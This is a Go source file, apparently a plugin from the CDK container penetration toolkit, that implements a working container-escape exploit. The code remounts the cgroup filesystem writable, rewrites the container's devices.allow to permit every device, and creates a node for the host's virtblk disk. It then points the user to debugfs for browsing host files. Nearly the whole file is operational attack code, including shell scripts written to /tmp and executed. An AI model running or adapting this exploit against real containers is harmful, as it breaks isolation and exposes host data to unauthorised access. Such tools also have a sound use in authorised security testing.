package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"io/ioutil"
	"log"
	"os"
	"path/filepath"
	"regexp"
	"strings"
	"syscall"
)

// plugin interface
type cgroupDevicesExploitS struct{}

func (p cgroupDevicesExploitS) Desc() string {
	return "escape sys_admin capabilities container via rewrite cgroup devices.allow. usage: ./cdk run rewrite-cgroup-devices."
}

// MountCgroupCmd remount a write-able devices cgroup subsystem
var MountCgroupCmd = `set -uex
mount -oremount,rw /sys/fs/cgroup
mkdir /sys/fs/cgroup/cgneartest
mount -t cgroup -o devices devices /sys/fs/cgroup/cgneartest`

var CreateMknodCmd = `set -uex
echo a > ${DevicesAllowPath}
sleep 2
mknod cdk_mknod_result b ${DeviceID} 1`

var procDeviceConfig = `/proc/devices`

func fileInode(path string) (inodeID uint64, err error) {
	info, err := os.Stat(path)
	if err != nil {
		return 0, err
	}
	if stat, ok := info.Sys().(*syscall.Stat_t); ok {
		return stat.Ino, nil
	}
	return 0, nil
}

func generateCreateMknodCmd(allowPath string, deviceID string) (string) {
	shell := CreateMknodCmd
	shell = strings.Replace(shell, "${DevicesAllowPath}", allowPath, -1)
	shell = strings.Replace(shell, "${DeviceID}", deviceID, -1)
	return shell
}

// runShellFile run shell script use bash
func runShellFile(filePreString string, shell string) error {

	var taskRandString = util.RandString(6)
	var outFile = fmt.Sprintf("/tmp/%s-%s.sh", filePreString, taskRandString)
	log.Printf("generate shell exploit: %s\n", outFile)

	err := ioutil.WriteFile(outFile, []byte(shell), 0777)
	if err != nil {
		return err
	}

	err = util.ShellExec(outFile)
	return  err
}

func (p cgroupDevicesExploitS) Run() bool {

	// generate shell script and save to local and run
	err := runShellFile("rewrite-cgroup-devices-exp", MountCgroupCmd)
	if err != nil {
		log.Printf("run /tmp/rewrite-cgroup-devices-exp-* error: %s\n", err)
		return false
	}

	// find current container cgroup
	inodeID, err := fileInode("/sys/fs/cgroup/devices/devices.allow")
	if err != nil {
		log.Printf("get /sys/fs/cgroup/devices/devices.allow inode error: %s\n", err)
		return false
	}
	log.Printf("get /sys/fs/cgroup/devices/devices.allow inode id: %d\n", inodeID)

	// the best way to find container id and current cgroup devices.allow
	devicesAllowPath := ""
	err = filepath.Walk("/sys/fs/cgroup/cgneartest", func(path string, info os.FileInfo, err error) error {
		if err == nil && info.Name() == "devices.allow" {
			iid, err := fileInode(path)
			if err == nil && iid == inodeID {
				devicesAllowPath = path
				return nil
			}
		}
		return nil
	})
	log.Printf("find cgroup devices.allow file: %s\n", devicesAllowPath)

	// get "virtblk" device ID
	data, err := ioutil.ReadFile(procDeviceConfig)
	if err != nil {
		log.Printf("err found while open %s: %v\n", procDeviceConfig, err)
		return false
	}
	r := regexp.MustCompile(`(\d+) virtblk`)
	ret := r.FindStringSubmatch(string(data))
	if len(ret) < 2 {
		return false
	}
	did := ret[1]
	log.Printf("get virtblk device ID: %s\n", did)

	// rewrite and mknod
	shell := generateCreateMknodCmd(devicesAllowPath, did)
	err = runShellFile("device-mknod", shell)
	if err != nil {
		log.Printf("run /tmp/device-mknod-* error: %s\n", err)
		return false
	}

	// escape done~
	log.Println("now, run 'debugfs cdk_mknod_result' to browse host files.")

	return true
}

func init() {
	exploit := cgroupDevicesExploitS{}
	plugin.RegisterExploit("rewrite-cgroup-devices", exploit)
}
